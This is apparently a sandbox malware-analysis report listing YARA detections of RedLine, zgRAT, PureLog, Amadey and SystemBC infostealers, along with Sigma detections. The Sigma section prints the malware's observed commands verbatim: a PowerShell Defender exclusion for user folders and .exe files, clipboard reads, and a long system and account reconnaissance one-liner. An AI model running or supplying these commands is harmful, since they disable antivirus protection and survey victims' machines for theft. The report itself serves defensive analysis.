0000000C.00000003.1950589359.000001DD9653E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: judit.exe PID: 7984	JoeSecurity_GenericPythonStealer	Yara detected Generic Python Stealer	Joe Security
Process Memory Space: judit.exe PID: 7984	JoeSecurity_MonsterStealer	Yara detected Monster Stealer	Joe Security
Process Memory Space: judit.exe PID: 7984	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: redline123123.exe PID: 8044	JoeSecurity_MonsterStealer	Yara detected Monster Stealer	Joe Security
Process Memory Space: redline123123.exe PID: 8044	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: redline123123.exe PID: 8044	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
Process Memory Space: stub.exe PID: 8068	JoeSecurity_GenericPythonStealer	Yara detected Generic Python Stealer	Joe Security
Process Memory Space: stub.exe PID: 8068	JoeSecurity_MonsterStealer	Yara detected Monster Stealer	Joe Security
Process Memory Space: stub.exe PID: 8068	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Click to see the 44 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
28.2.RegAsm.exe.572b5e.2.raw.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
28.2.RegAsm.exe.572b5e.2.raw.unpack	Windows_Trojan_RedLineStealer_3d9371fd	unknown	unknown	0x13707:$a1: get_encrypted_key 0x12e09:$a2: get_PassedPaths 0x1182a:$a3: ChromeGetLocalName 0x1300a:$a4: GetBrowsers 0x19a34:$a5: Software\Valve\SteamLogin Data 0x192d4:$a6: %appdata%\ 0x12b2e:$a7: ScanPasswords
28.2.RegAsm.exe.572b5e.2.raw.unpack	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x19ca4:$pat14: , CommandLine: 0x12cda:$v2_1: ListOfProcesses 0x12a9a:$v4_3: base64str 0x136d5:$v4_4: stringKey 0x1123f:$v4_5: BytesToStringConverted 0x1033a:$v4_6: FromBase64 0x117b2:$v4_8: procName 0x11ac8:$v5_1: DownloadAndExecuteUpdate 0x12971:$v5_2: ITaskProcessor 0x11ab6:$v5_3: CommandLineUpdate 0x11aa7:$v5_4: DownloadUpdate 0x11ead:$v5_5: FileScanning 0x11460:$v5_7: RecordHeaderField 0x110c8:$v5_9: BCRYPT_KEY_LENGTHS_STRUCT
24.2.upd.exe.f32a9b.4.raw.unpack	JoeSecurity_zgRAT_1	Yara detected zgRAT	Joe Security
24.2.upd.exe.f32a9b.4.raw.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
24.2.upd.exe.f32a9b.4.raw.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
24.2.upd.exe.f32a9b.4.raw.unpack	MALWARE_Win_zgRAT	Detects zgRAT	ditekSHen	0x46481:$s1: file:/// 0x463dd:$s2: {11111-22222-10009-11112} 0x46411:$s3: {11111-22222-50001-00000} 0x43327:$s4: get_Module 0x3d756:$s5: Reverse 0x85f87:$s5: Reverse 0x3e406:$s6: BlockCopy 0x3d71f:$s7: ReadByte 0x46493:$s8: 4C 00 6F 00 63 00 61 00 74 00 69 00 6F 00 6E 00 00 0B 46 00 69 00 6E 00 64 00 20 00 00 13 52 00 65 00 73 00 6F 00 75 00 72 00 63 00 65 00 41 00 00 11 56 00 69 00 72 00 74 00 75 00 61 00 6C 00 ...
49.2.jergs.exe.400000.0.unpack	JoeSecurity_SystemBC	Yara detected SystemBC	Joe Security
51.2.peombdb.exe.400000.0.unpack	JoeSecurity_SystemBC	Yara detected SystemBC	Joe Security
28.2.RegAsm.exe.469fc0.0.raw.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
51.0.peombdb.exe.400000.0.unpack	JoeSecurity_SystemBC	Yara detected SystemBC	Joe Security
31.2.One.exe.128c1a78.1.unpack	JoeSecurity_zgRAT_1	Yara detected zgRAT	Joe Security
31.2.One.exe.128c1a78.1.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
31.2.One.exe.128c1a78.1.unpack	MALWARE_Win_zgRAT	Detects zgRAT	ditekSHen	0x44681:$s1: file:/// 0x445dd:$s2: {11111-22222-10009-11112} 0x44611:$s3: {11111-22222-50001-00000} 0x41527:$s4: get_Module 0x3b956:$s5: Reverse 0x3c606:$s6: BlockCopy 0x3b91f:$s7: ReadByte 0x44693:$s8: 4C 00 6F 00 63 00 61 00 74 00 69 00 6F 00 6E 00 00 0B 46 00 69 00 6E 00 64 00 20 00 00 13 52 00 65 00 73 00 6F 00 75 00 72 00 63 00 65 00 41 00 00 11 56 00 69 00 72 00 74 00 75 00 61 00 6C 00 ...
14.0.redline123123.exe.e30000.0.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
30.0.svhoost.exe.440000.0.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
0.2.DPqKF5vqpe.exe.2a0000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
24.2.upd.exe.f98ca0.2.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
28.2.RegAsm.exe.403dbb.3.raw.unpack	JoeSecurity_zgRAT_1	Yara detected zgRAT	Joe Security
28.2.RegAsm.exe.403dbb.3.raw.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
28.2.RegAsm.exe.403dbb.3.raw.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
28.2.RegAsm.exe.403dbb.3.raw.unpack	MALWARE_Win_zgRAT	Detects zgRAT	ditekSHen	0x46481:$s1: file:/// 0x463dd:$s2: {11111-22222-10009-11112} 0x46411:$s3: {11111-22222-50001-00000} 0x43327:$s4: get_Module 0x3d756:$s5: Reverse 0x85f87:$s5: Reverse 0x3e406:$s6: BlockCopy 0x3d71f:$s7: ReadByte 0x46493:$s8: 4C 00 6F 00 63 00 61 00 74 00 69 00 6F 00 6E 00 00 0B 46 00 69 00 6E 00 64 00 20 00 00 13 52 00 65 00 73 00 6F 00 75 00 72 00 63 00 65 00 41 00 00 11 56 00 69 00 72 00 74 00 75 00 61 00 6C 00 ...
24.2.upd.exe.10a183e.3.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
24.2.upd.exe.10a183e.3.unpack	Windows_Trojan_RedLineStealer_3d9371fd	unknown	unknown	0x11b07:$a1: get_encrypted_key 0x11209:$a2: get_PassedPaths 0xfc2a:$a3: ChromeGetLocalName 0x1140a:$a4: GetBrowsers 0x17e34:$a5: Software\Valve\SteamLogin Data 0x176d4:$a6: %appdata%\ 0x10f2e:$a7: ScanPasswords
24.2.upd.exe.10a183e.3.unpack	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x180a4:$pat14: , CommandLine: 0x110da:$v2_1: ListOfProcesses 0x10e9a:$v4_3: base64str 0x11ad5:$v4_4: stringKey 0xf63f:$v4_5: BytesToStringConverted 0xe73a:$v4_6: FromBase64 0xfbb2:$v4_8: procName 0xfec8:$v5_1: DownloadAndExecuteUpdate 0x10d71:$v5_2: ITaskProcessor 0xfeb6:$v5_3: CommandLineUpdate 0xfea7:$v5_4: DownloadUpdate 0x102ad:$v5_5: FileScanning 0xf860:$v5_7: RecordHeaderField 0xf4c8:$v5_9: BCRYPT_KEY_LENGTHS_STRUCT
28.2.RegAsm.exe.572b5e.2.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
28.2.RegAsm.exe.572b5e.2.unpack	Windows_Trojan_RedLineStealer_3d9371fd	unknown	unknown	0x11b07:$a1: get_encrypted_key 0x11209:$a2: get_PassedPaths 0xfc2a:$a3: ChromeGetLocalName 0x1140a:$a4: GetBrowsers 0x17e34:$a5: Software\Valve\SteamLogin Data 0x176d4:$a6: %appdata%\ 0x10f2e:$a7: ScanPasswords
28.2.RegAsm.exe.572b5e.2.unpack	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x180a4:$pat14: , CommandLine: 0x110da:$v2_1: ListOfProcesses 0x10e9a:$v4_3: base64str 0x11ad5:$v4_4: stringKey 0xf63f:$v4_5: BytesToStringConverted 0xe73a:$v4_6: FromBase64 0xfbb2:$v4_8: procName 0xfec8:$v5_1: DownloadAndExecuteUpdate 0x10d71:$v5_2: ITaskProcessor 0xfeb6:$v5_3: CommandLineUpdate 0xfea7:$v5_4: DownloadUpdate 0x102ad:$v5_5: FileScanning 0xf860:$v5_7: RecordHeaderField 0xf4c8:$v5_9: BCRYPT_KEY_LENGTHS_STRUCT
28.2.RegAsm.exe.4045570.5.raw.unpack	JoeSecurity_zgRAT_1	Yara detected zgRAT	Joe Security
28.2.RegAsm.exe.4045570.5.raw.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
28.2.RegAsm.exe.4045570.5.raw.unpack	MALWARE_Win_zgRAT	Detects zgRAT	ditekSHen	0x46481:$s1: file:/// 0x463dd:$s2: {11111-22222-10009-11112} 0x46411:$s3: {11111-22222-50001-00000} 0x43327:$s4: get_Module 0x3d756:$s5: Reverse 0x3e406:$s6: BlockCopy 0x3d71f:$s7: ReadByte 0x46493:$s8: 4C 00 6F 00 63 00 61 00 74 00 69 00 6F 00 6E 00 00 0B 46 00 69 00 6E 00 64 00 20 00 00 13 52 00 65 00 73 00 6F 00 75 00 72 00 63 00 65 00 41 00 00 11 56 00 69 00 72 00 74 00 75 00 61 00 6C 00 ...
28.2.RegAsm.exe.4045570.5.unpack	JoeSecurity_zgRAT_1	Yara detected zgRAT	Joe Security
28.2.RegAsm.exe.4045570.5.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
28.2.RegAsm.exe.4045570.5.unpack	MALWARE_Win_zgRAT	Detects zgRAT	ditekSHen	0x44681:$s1: file:/// 0x445dd:$s2: {11111-22222-10009-11112} 0x44611:$s3: {11111-22222-50001-00000} 0x41527:$s4: get_Module 0x3b956:$s5: Reverse 0x3c606:$s6: BlockCopy 0x3b91f:$s7: ReadByte 0x44693:$s8: 4C 00 6F 00 63 00 61 00 74 00 69 00 6F 00 6E 00 00 0B 46 00 69 00 6E 00 64 00 20 00 00 13 52 00 65 00 73 00 6F 00 75 00 72 00 63 00 65 00 41 00 00 11 56 00 69 00 72 00 74 00 75 00 61 00 6C 00 ...
24.2.upd.exe.f30ae0.1.raw.unpack	JoeSecurity_zgRAT_1	Yara detected zgRAT	Joe Security
24.2.upd.exe.f30ae0.1.raw.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
24.2.upd.exe.f30ae0.1.raw.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
24.2.upd.exe.f30ae0.1.raw.unpack	MALWARE_Win_zgRAT	Detects zgRAT	ditekSHen	0x4843c:$s1: file:/// 0x48398:$s2: {11111-22222-10009-11112} 0x483cc:$s3: {11111-22222-50001-00000} 0x452e2:$s4: get_Module 0x3f711:$s5: Reverse 0x87f42:$s5: Reverse 0x403c1:$s6: BlockCopy 0x3f6da:$s7: ReadByte 0x4844e:$s8: 4C 00 6F 00 63 00 61 00 74 00 69 00 6F 00 6E 00 00 0B 46 00 69 00 6E 00 64 00 20 00 00 13 52 00 65 00 73 00 6F 00 75 00 72 00 63 00 65 00 41 00 00 11 56 00 69 00 72 00 74 00 75 00 61 00 6C 00 ...
49.0.jergs.exe.400000.0.unpack	JoeSecurity_SystemBC	Yara detected SystemBC	Joe Security
3.2.axplong.exe.890000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
24.2.upd.exe.f98ca0.2.raw.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
24.2.upd.exe.10a183e.3.raw.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
24.2.upd.exe.10a183e.3.raw.unpack	Windows_Trojan_RedLineStealer_3d9371fd	unknown	unknown	0x13707:$a1: get_encrypted_key 0x12e09:$a2: get_PassedPaths 0x1182a:$a3: ChromeGetLocalName 0x1300a:$a4: GetBrowsers 0x19a34:$a5: Software\Valve\SteamLogin Data 0x192d4:$a6: %appdata%\ 0x12b2e:$a7: ScanPasswords
24.2.upd.exe.10a183e.3.raw.unpack	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x19ca4:$pat14: , CommandLine: 0x12cda:$v2_1: ListOfProcesses 0x12a9a:$v4_3: base64str 0x136d5:$v4_4: stringKey 0x1123f:$v4_5: BytesToStringConverted 0x1033a:$v4_6: FromBase64 0x117b2:$v4_8: procName 0x11ac8:$v5_1: DownloadAndExecuteUpdate 0x12971:$v5_2: ITaskProcessor 0x11ab6:$v5_3: CommandLineUpdate 0x11aa7:$v5_4: DownloadUpdate 0x11ead:$v5_5: FileScanning 0x11460:$v5_7: RecordHeaderField 0x110c8:$v5_9: BCRYPT_KEY_LENGTHS_STRUCT
31.2.One.exe.128c1a78.1.raw.unpack	JoeSecurity_zgRAT_1	Yara detected zgRAT	Joe Security
31.2.One.exe.128c1a78.1.raw.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
31.2.One.exe.128c1a78.1.raw.unpack	MALWARE_Win_zgRAT	Detects zgRAT	ditekSHen	0x46481:$s1: file:/// 0x463dd:$s2: {11111-22222-10009-11112} 0x46411:$s3: {11111-22222-50001-00000} 0x43327:$s4: get_Module 0x3d756:$s5: Reverse 0x3e406:$s6: BlockCopy 0x3d71f:$s7: ReadByte 0x46493:$s8: 4C 00 6F 00 63 00 61 00 74 00 69 00 6F 00 6E 00 00 0B 46 00 69 00 6E 00 64 00 20 00 00 13 52 00 65 00 73 00 6F 00 75 00 72 00 63 00 65 00 41 00 00 11 56 00 69 00 72 00 74 00 75 00 61 00 6C 00 ...
28.2.RegAsm.exe.403dbb.3.unpack	JoeSecurity_zgRAT_1	Yara detected zgRAT	Joe Security
28.2.RegAsm.exe.403dbb.3.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
28.2.RegAsm.exe.403dbb.3.unpack	MALWARE_Win_zgRAT	Detects zgRAT	ditekSHen	0x44681:$s1: file:/// 0x445dd:$s2: {11111-22222-10009-11112} 0x44611:$s3: {11111-22222-50001-00000} 0x41527:$s4: get_Module 0x3b956:$s5: Reverse 0x3c606:$s6: BlockCopy 0x3b91f:$s7: ReadByte 0x44693:$s8: 4C 00 6F 00 63 00 61 00 74 00 69 00 6F 00 6E 00 00 0B 46 00 69 00 6E 00 64 00 20 00 00 13 52 00 65 00 73 00 6F 00 75 00 72 00 63 00 65 00 41 00 00 11 56 00 69 00 72 00 74 00 75 00 61 00 6C 00 ...
24.2.upd.exe.f00000.0.unpack	JoeSecurity_zgRAT_1	Yara detected zgRAT	Joe Security
24.2.upd.exe.f00000.0.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
24.2.upd.exe.f00000.0.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
24.2.upd.exe.f00000.0.unpack	Windows_Trojan_RedLineStealer_3d9371fd	unknown	unknown	0xba4fe:$a1: get_encrypted_key 0x1b2f45:$a1: get_encrypted_key 0x1b2647:$a2: get_PassedPaths 0xb65e4:$a3: ChromeGetLocalName 0x1b1068:$a3: ChromeGetLocalName 0x704e7:$a4: GetBrowsers 0xb9553:$a4: GetBrowsers 0x1b2848:$a4: GetBrowsers 0xc48cc:$a5: Software\Valve\SteamLogin Data 0x1b9272:$a5: Software\Valve\SteamLogin Data 0xc30cc:$a6: %appdata%\ 0x1b8b12:$a6: %appdata%\ 0x1b236c:$a7: ScanPasswords
24.2.upd.exe.f00000.0.unpack	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x25518:$s5: delete[] 0xc58e4:$pat14: , CommandLine: 0x1b94e2:$pat14: , CommandLine: 0x7054e:$v2_1: ListOfProcesses 0x1b2518:$v2_1: ListOfProcesses 0x6eccb:$v4_3: base64str 0xb8c75:$v4_3: base64str 0x1b22d8:$v4_3: base64str 0x6ec98:$v4_4: stringKey 0xba49f:$v4_4: stringKey 0x1b2f13:$v4_4: stringKey 0x6ecd5:$v4_5: BytesToStringConverted 0xb5b54:$v4_5: BytesToStringConverted 0x1b0a7d:$v4_5: BytesToStringConverted 0x6ecc0:$v4_6: FromBase64 0xb3d9e:$v4_6: FromBase64 0x1afb78:$v4_6: FromBase64 0x1b0ff0:$v4_8: procName 0xb6a97:$v5_1: DownloadAndExecuteUpdate 0x1b1306:$v5_1: DownloadAndExecuteUpdate 0x1b21af:$v5_2: ITaskProcessor
24.2.upd.exe.f00000.0.unpack	MALWARE_Win_zgRAT	Detects zgRAT	ditekSHen	0x76f1c:$s1: file:/// 0x76e78:$s2: {11111-22222-10009-11112} 0x76eac:$s3: {11111-22222-50001-00000} 0x73dc2:$s4: get_Module 0x6e1f1:$s5: Reverse 0xb6a22:$s5: Reverse 0x1b12aa:$s5: Reverse 0x6eea1:$s6: BlockCopy 0x1b2fbc:$s6: BlockCopy 0x6e1ba:$s7: ReadByte 0x76f2e:$s8: 4C 00 6F 00 63 00 61 00 74 00 69 00 6F 00 6E 00 00 0B 46 00 69 00 6E 00 64 00 20 00 00 13 52 00 65 00 73 00 6F 00 75 00 72 00 63 00 65 00 41 00 00 11 56 00 69 00 72 00 74 00 75 00 61 00 6C 00 ...
28.2.RegAsm.exe.400000.1.unpack	JoeSecurity_zgRAT_1	Yara detected zgRAT	Joe Security
28.2.RegAsm.exe.400000.1.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
28.2.RegAsm.exe.400000.1.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
28.2.RegAsm.exe.400000.1.unpack	Windows_Trojan_RedLineStealer_3d9371fd	unknown	unknown	0x8ba1e:$a1: get_encrypted_key 0x184465:$a1: get_encrypted_key 0x183b67:$a2: get_PassedPaths 0x87b04:$a3: ChromeGetLocalName 0x182588:$a3: ChromeGetLocalName 0x41a07:$a4: GetBrowsers 0x8aa73:$a4: GetBrowsers 0x183d68:$a4: GetBrowsers 0x95dec:$a5: Software\Valve\SteamLogin Data 0x18a792:$a5: Software\Valve\SteamLogin Data 0x945ec:$a6: %appdata%\ 0x18a032:$a6: %appdata%\ 0x18388c:$a7: ScanPasswords
28.2.RegAsm.exe.400000.1.unpack	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x96e04:$pat14: , CommandLine: 0x18aa02:$pat14: , CommandLine: 0x41a6e:$v2_1: ListOfProcesses 0x183a38:$v2_1: ListOfProcesses 0x401eb:$v4_3: base64str 0x8a195:$v4_3: base64str 0x1837f8:$v4_3: base64str 0x401b8:$v4_4: stringKey 0x8b9bf:$v4_4: stringKey 0x184433:$v4_4: stringKey 0x401f5:$v4_5: BytesToStringConverted 0x87074:$v4_5: BytesToStringConverted 0x181f9d:$v4_5: BytesToStringConverted 0x401e0:$v4_6: FromBase64 0x852be:$v4_6: FromBase64 0x181098:$v4_6: FromBase64 0x182510:$v4_8: procName 0x87fb7:$v5_1: DownloadAndExecuteUpdate 0x182826:$v5_1: DownloadAndExecuteUpdate 0x1836cf:$v5_2: ITaskProcessor 0x182814:$v5_3: CommandLineUpdate
28.2.RegAsm.exe.400000.1.unpack	MALWARE_Win_zgRAT	Detects zgRAT	ditekSHen	0x4843c:$s1: file:/// 0x48398:$s2: {11111-22222-10009-11112} 0x483cc:$s3: {11111-22222-50001-00000} 0x452e2:$s4: get_Module 0x3f711:$s5: Reverse 0x87f42:$s5: Reverse 0x1827ca:$s5: Reverse 0x403c1:$s6: BlockCopy 0x1844dc:$s6: BlockCopy 0x3f6da:$s7: ReadByte 0x4844e:$s8: 4C 00 6F 00 63 00 61 00 74 00 69 00 6F 00 6E 00 00 0B 46 00 69 00 6E 00 64 00 20 00 00 13 52 00 65 00 73 00 6F 00 75 00 72 00 63 00 65 00 41 00 00 11 56 00 69 00 72 00 74 00 75 00 61 00 6C 00 ...
24.2.upd.exe.f30ae0.1.unpack	JoeSecurity_zgRAT_1	Yara detected zgRAT	Joe Security
24.2.upd.exe.f30ae0.1.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
24.2.upd.exe.f30ae0.1.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
24.2.upd.exe.f30ae0.1.unpack	Windows_Trojan_RedLineStealer_3d9371fd	unknown	unknown	0x89c1e:$a1: get_encrypted_key 0x182665:$a1: get_encrypted_key 0x181d67:$a2: get_PassedPaths 0x85d04:$a3: ChromeGetLocalName 0x180788:$a3: ChromeGetLocalName 0x3fc07:$a4: GetBrowsers 0x88c73:$a4: GetBrowsers 0x181f68:$a4: GetBrowsers 0x93fec:$a5: Software\Valve\SteamLogin Data 0x188992:$a5: Software\Valve\SteamLogin Data 0x927ec:$a6: %appdata%\ 0x188232:$a6: %appdata%\ 0x181a8c:$a7: ScanPasswords
24.2.upd.exe.f30ae0.1.unpack	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x95004:$pat14: , CommandLine: 0x188c02:$pat14: , CommandLine: 0x3fc6e:$v2_1: ListOfProcesses 0x181c38:$v2_1: ListOfProcesses 0x3e3eb:$v4_3: base64str 0x88395:$v4_3: base64str 0x1819f8:$v4_3: base64str 0x3e3b8:$v4_4: stringKey 0x89bbf:$v4_4: stringKey 0x182633:$v4_4: stringKey 0x3e3f5:$v4_5: BytesToStringConverted 0x85274:$v4_5: BytesToStringConverted 0x18019d:$v4_5: BytesToStringConverted 0x3e3e0:$v4_6: FromBase64 0x834be:$v4_6: FromBase64 0x17f298:$v4_6: FromBase64 0x180710:$v4_8: procName 0x861b7:$v5_1: DownloadAndExecuteUpdate 0x180a26:$v5_1: DownloadAndExecuteUpdate 0x1818cf:$v5_2: ITaskProcessor 0x180a14:$v5_3: CommandLineUpdate
24.2.upd.exe.f30ae0.1.unpack	MALWARE_Win_zgRAT	Detects zgRAT	ditekSHen	0x4663c:$s1: file:/// 0x46598:$s2: {11111-22222-10009-11112} 0x465cc:$s3: {11111-22222-50001-00000} 0x434e2:$s4: get_Module 0x3d911:$s5: Reverse 0x86142:$s5: Reverse 0x1809ca:$s5: Reverse 0x3e5c1:$s6: BlockCopy 0x1826dc:$s6: BlockCopy 0x3d8da:$s7: ReadByte 0x4664e:$s8: 4C 00 6F 00 63 00 61 00 74 00 69 00 6F 00 6E 00 00 0B 46 00 69 00 6E 00 64 00 20 00 00 13 52 00 65 00 73 00 6F 00 75 00 72 00 63 00 65 00 41 00 00 11 56 00 69 00 72 00 74 00 75 00 61 00 6C 00 ...
28.2.RegAsm.exe.469fc0.0.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
24.2.upd.exe.f32a9b.4.unpack	JoeSecurity_zgRAT_1	Yara detected zgRAT	Joe Security
24.2.upd.exe.f32a9b.4.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
24.2.upd.exe.f32a9b.4.unpack	MALWARE_Win_zgRAT	Detects zgRAT	ditekSHen	0x44681:$s1: file:/// 0x445dd:$s2: {11111-22222-10009-11112} 0x44611:$s3: {11111-22222-50001-00000} 0x41527:$s4: get_Module 0x3b956:$s5: Reverse 0x3c606:$s6: BlockCopy 0x3b91f:$s7: ReadByte 0x44693:$s8: 4C 00 6F 00 63 00 61 00 74 00 69 00 6F 00 6E 00 00 0B 46 00 69 00 6E 00 64 00 20 00 00 13 52 00 65 00 73 00 6F 00 75 00 72 00 63 00 65 00 41 00 00 11 56 00 69 00 72 00 74 00 75 00 61 00 6C 00 ...
31.0.One.exe.490000.0.unpack	JoeSecurity_zgRAT_1	Yara detected zgRAT	Joe Security
31.0.One.exe.490000.0.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
31.0.One.exe.490000.0.unpack	MALWARE_Win_zgRAT	Detects zgRAT	ditekSHen	0x46481:$s1: file:/// 0x463dd:$s2: {11111-22222-10009-11112} 0x46411:$s3: {11111-22222-50001-00000} 0x43327:$s4: get_Module 0x3d756:$s5: Reverse 0x3e406:$s6: BlockCopy 0x3d71f:$s7: ReadByte 0x46493:$s8: 4C 00 6F 00 63 00 61 00 74 00 69 00 6F 00 6E 00 00 0B 46 00 69 00 6E 00 64 00 20 00 00 13 52 00 65 00 73 00 6F 00 75 00 72 00 63 00 65 00 41 00 00 11 56 00 69 00 72 00 74 00 75 00 61 00 6C 00 ...
28.2.RegAsm.exe.40ab790.4.raw.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
28.2.RegAsm.exe.40ab790.4.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
6.2.axplong.exe.890000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
2.2.axplong.exe.890000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
Click to see the 74 entries

Sigma Signatures

System Summary

Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force, CommandLine: C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force, CommandLine|base64offset|contains: ~2yzw, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\AppData\Local\Temp\1000014001\services64.exe" , ParentImage: C:\Users\user\AppData\Local\Temp\1000014001\services64.exe, ParentProcessId: 7964, ParentProcessName: services64.exe, ProcessCommandLine: C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force, ProcessId: 5988, ProcessName: powershell.exe

Sigma detected: Console CodePage Lookup Via CHCP

Source: Process started

Author: _pete_0, TheDFIRReport: Data: Command: chcp, CommandLine: chcp, CommandLine|base64offset|contains: r), Image: C:\Windows\System32\chcp.com, NewProcessName: C:\Windows\System32\chcp.com, OriginalFileName: C:\Windows\System32\chcp.com, ParentCommandLine: C:\Windows\system32\cmd.exe /c "chcp", ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7524, ParentProcessName: cmd.exe, ProcessCommandLine: chcp, ProcessId: 5420, ProcessName: chcp.com

Sigma detected: PowerShell Get-Clipboard Cmdlet Via CLI

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: C:\Windows\system32\cmd.exe /c "powershell.exe Get-Clipboard", CommandLine: C:\Windows\system32\cmd.exe /c "powershell.exe Get-Clipboard", CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: "C:\Users\user\AppData\Local\Temp\1000005001\judit.exe" , ParentImage: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe, ParentProcessId: 8068, ParentProcessName: stub.exe, ProcessCommandLine: C:\Windows\system32\cmd.exe /c "powershell.exe Get-Clipboard", ProcessId: 3308, ProcessName: cmd.exe

Sigma detected: Powershell Defender Exclusion

Source: Process started

Sigma detected: Suspicious Outbound SMTP Connections

Source: Network Connection

Author: frack113: Data: DestinationIp: 142.250.150.26, DestinationIsIpv6: false, DestinationPort: 587, EventID: 3, Image: C:\ProgramData\okili\peombdb.exe, Initiated: true, ProcessId: 7840, Protocol: tcp, SourceIp: 192.168.2.11, SourceIsIpv6: false, SourcePort: 49793

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe Get-Clipboard, CommandLine: powershell.exe Get-Clipboard, CommandLine|base64offset|contains: ~Xn, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: C:\Windows\system32\cmd.exe /c "powershell.exe Get-Clipboard", ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 3308, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe Get-Clipboard, ProcessId: 5820, ProcessName: powershell.exe

Sigma detected: Suspicious Network Command

Source: Process started

Author: frack113, Christopher Peacock '@securepeacock', SCYTHE '@scythe_io': Data: Command: C:\Windows\system32\cmd.exe /c "echo ####System Info#### & systeminfo & echo ####System Version#### & ver & echo ####Host Name#### & hostname & echo ####Environment Variable#### & set & echo ####Logical Disk#### & wmic logicaldisk get caption,description,providername & echo ####User Info#### & net user & echo ####Online User#### & query user & echo ####Local Group#### & net localgroup & echo ####Administrators Info#### & net localgroup administrators & echo ####Guest User Info#### & net user guest & echo ####Administrator User Info#### & net user administrator & echo ####Startup Info#### & wmic startup get caption,command & echo ####Tasklist#### & tasklist /svc & echo ####Ipconfig#### & ipconfig/all & echo ####Hosts#### & type C:\WINDOWS\System32\drivers\etc\hosts & echo ####Route Table#### & route print & echo ####Arp Info#### & arp -a & echo ####Netstat#### & netstat -ano & echo ####Service Info#### & sc query type= service state= all & echo ####Firewallinfo#### & netsh firewall show state & netsh firewall show config", 